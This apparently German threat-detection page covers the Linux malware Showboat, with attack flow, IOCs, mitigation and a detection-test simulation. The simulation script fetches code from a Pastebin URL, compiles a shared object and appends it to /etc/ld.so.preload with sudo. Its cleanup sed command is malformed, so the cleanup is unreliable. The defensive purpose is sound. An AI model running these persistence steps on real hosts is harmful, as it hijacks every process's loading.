Showboat-Malware zielt seit 2022 auf Telekommunikationsunternehmen im Nahen Osten ab
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Showboat ist ein modulares Linux Post-Exploitation-Framework, das für AMD x86-64 Umgebungen entwickelt wurde. Seit Mitte 2022 aktiv, wurde es entwickelt, um unauffälligen, langfristigen Zugriff auf kompromittierte Netzwerke zu halten. Die Malware verwendet fortgeschrittene Verschleierungsmethoden, darunter XOR-Verschlüsselung und den Missbrauch des dynamischen Linkers, um bösartige Prozesse zu tarnen.
Untersuchung
Die Untersuchung hat die Command-and-Control-Infrastruktur nach Chengdu, China zurückverfolgt, was zusammen mit den beobachteten Taktiken, Techniken und Verfahren auf Verbindungen zu PRC-ausgerichteten Bedrohungsakteuren hindeutet. Technische Analysen ergaben, dass die Malware auf einen hartcodierten XOR-Schlüssel angewiesen ist, um ihre Konfiguration zu entschlüsseln und missbraucht ld.so.preload um auf infizierten Systemen unauffällig zu bleiben.
Minderung
Verteidiger sollten auf unautorisierte Änderungen an /etc/ld.so.preload und verdächtige Nutzung des gcc Compilers auf Produktions-Linux-Hosts achten. Es wird auch empfohlen, Netzwerküberwachung einzusetzen, die Beaconing-Verhalten identifizieren kann, selbst wenn die Zeitintervalle zufällig sind, und Integritätsüberwachung für kritische Systembibliotheken zu verwenden.
Reaktion
Wenn Showboat-Aktivität entdeckt wird, trennen Sie die betroffenen Linux-Systeme sofort vom Netzwerk, um weiteren Command-and-Control-Verkehr zu stoppen. Führen Sie Speicherforensik durch, um injizierte Shared Objects zu identifizieren, und führen Sie ein vollständiges Audit der Systemeinstellungen und geplanten Aufgaben durch, um sicherzustellen, dass alle Persistenzmechanismen entfernt wurden.
graph TB %% Klassendefinitionen classDef action fill:#99ccff classDef builtin fill:#cccccc classDef malware_entity fill:#ff9999 classDef network fill:#99ff99 %% Knotendefinitionen %% Phase 1: Initiale Konfiguration action_decryption[„<b>Aktion</b> – <b>T1027: Verschleierte Dateien oder Informationen</b><br/>Ruft verschlüsselte Konfigurationsdaten über XOR ab<br/>unter Verwendung des fest codierten Schlüssels: look me, AV!<br/>Ziel: telecom.webredirect[.]org“] class action_decryption action %% Phase 2: C2 und Exfiltration malware_showboat[„<b>Malware</b> – <b>Showboat</b><br/>Agent für den Lebenszyklus nach der Kompromittierung“] class malware_showboat malware_entity action_beaconing[„<b>Aktion</b> – <b>T1071: Anwendungsschicht-Protokoll</b><br/>Baut C2-Kommunikation über Heartbeat-Beacons auf<br/>Verwendet zufällige Warteintervalle zur Erkennungsevasion“] class action_beaconing action action_exfiltration[„<b>Aktion</b> – <b>T1029: Geplante Übertragung</b><br/>Bündelt Hostinformationen und Screenshots in JSON<br/>Verschlüsselt und Base64-kodiert die Daten<br/>Verwendet Steganografie in PNG-Feldern zur Umgehung von Erkennung“] class action_exfiltration action %% Phase 3: Tarnung und Persistenz action_fetch_source[„<b>Aktion</b> – <b>T1105: Ingress Tool Transfer</b><br/>Lädt die C-Quelldatei ukpkmkk.c herunter<br/>Quelle: Pastebin-URL“] class action_fetch_source action action_compile[„<b>Aktion</b> – <b>T1059: Befehls- und Skriptinterpreter</b><br/>Kompiliert ukpkmkk.c lokal auf dem System des Opfers<br/>Erzeugt eine bösartige Shared Library“] class action_compile action action_hijack[„<b>Aktion</b> – <b>T1574.006: Ausführungsfluss-Hijacking: Dynamic Linker Hijacking</b><br/>Verwendet den Mechanismus ld.so.preload<br/>Injiziert /tmp/ukpkmkk.so in Prozesse“] class action_hijack action action_stealth[„<b>Aktion</b> – <b>T1564: Artefakte verbergen</b><br/>Hookt Systemaufrufe wie readdir()<br/>Verbirgt Prozesse vor ps und top mithilfe einer Filterliste“] class action_stealth action %% Verbindungen malware_showboat –>|führt_aus| action_decryption action_decryption –>|etabliert| action_beaconing action_beaconing –>|exfiltriert_daten| action_exfiltration action_exfiltration –>|löst_versteckten_Befehl_aus| action_fetch_source action_fetch_source –>|führt_zu| action_compile action_compile –>|erzeugt_Bibliothek| action_hijack action_hijack –>|erreicht| action_stealth %% Finaler Fluss action_stealth -.->|erhält| malware_showboat
Angriffsfluss
Erkennungen
Verdächtiger Pastebin Domain Kommunikationsversuch (über Proxy)
Ansehen
Remote-Datei-Upload/-Download über Standardtools (über cmdline)
Ansehen
Erkennung von Showboat Malware Beacon Aktivität [Linux Prozess-Erstellung]
Ansehen
Erkenne Showboat Malware Aktivität – ld.so.preload Modifikation und Quellcodedatei Fetching [Linux Prozess-Erstellung]
Ansehen
Simulation Ausführung
Voraussetzung: Der Telemetrie- & Baseline-Vorflug-Check muss bestanden werden.
Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der Angriffstechnik (TTP), die darauf ausgelegt ist, die Erkennungsregel auszulösen. Die Befehle und Narrative MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genau erwartete Telemetrie zu generieren, die von der Erkennungslogik erwartet wird. Abstrakte oder nicht zusammenhängende Beispiele führen zu Fehldiagnosen.
-
Angriffsnarrativ & Befehle: Der Angreifer zielt darauf ab, eine dauerhafte Abfangung von Systemaufrufen einzurichten. Sie beginnen mit dem Herunterladen einer bösartigen C-Quellcodedatei von einer Pastebin-Raw-URL unter Verwendung von
curl. Einmal heruntergeladen, verwenden siegccmit dem-sharedand-fPICFlags, um den Quellcode in eine Shared-Object-Datei mit dem Namenmalicious.sozu kompilieren. Schließlich versuchen sie, Persistenz zu erreichen, indem sie den Pfad dieser Bibliothek an/etc/ld.so.preloadanhängen. Diese Sequenz soll die bösartige Bibliothek in jeden Prozess auf dem System injizieren. -
Regressionstest-Skript:
#!/bin/bash # Simulation der Showboat Malware TTPs # 1. Simuliere das Abrufen von C-Quellcode von Pastebin # Hinweis: Verwenden eines echten Raw-Pastebin-Links (zur Logiksimulation) oder Simulieren des Strings echo "Erstellen einer Pastebin-Download-Simulation..." echo 'void __attribute__((constructor)) init() {}' > fake_malware.c # Dieser Befehl löst den 'selection_fetch'-Teil der Regel aus curl -s https://pastebin.com/raw/example_id -o fake_malware.c # 2. Simuliere die Kompilierung eines Shared Objects # Dieser Befehl löst den 'selection_compile'-Teil der Regel aus # (selection_fetch UND selection_compile) gcc -shared -fPIC -o /tmp/malicious.so fake_malware.c # 3. Simuliere ld.so.preload-Modifikation # Dieser Befehl löst den 'selection_preload'-Teil der Regel aus echo "/tmp/malicious.so" | sudo tee -a /etc/ld.so.preload echo "Simulation abgeschlossen. Überprüfen Sie SIEM auf Alarme." -
Bereinigungsskripte:
#!/bin/bash # Bereinigung von Simulationsartefakten # Entfernen der bösartigen Bibliothek und Quelle sudo rm -f /tmp/malicious.so rm -f fake_malware.c # Entfernen des Eintrags aus ld.so.preload (Erfordert Vorsicht) # Dieser sed-Befehl entfernt die Zeile, die /tmp/malicious.so enthält sudo sed -i '//tmp/malicious.so/d' /etc/ld.so.preload echo "Bereinigung abgeschlossen."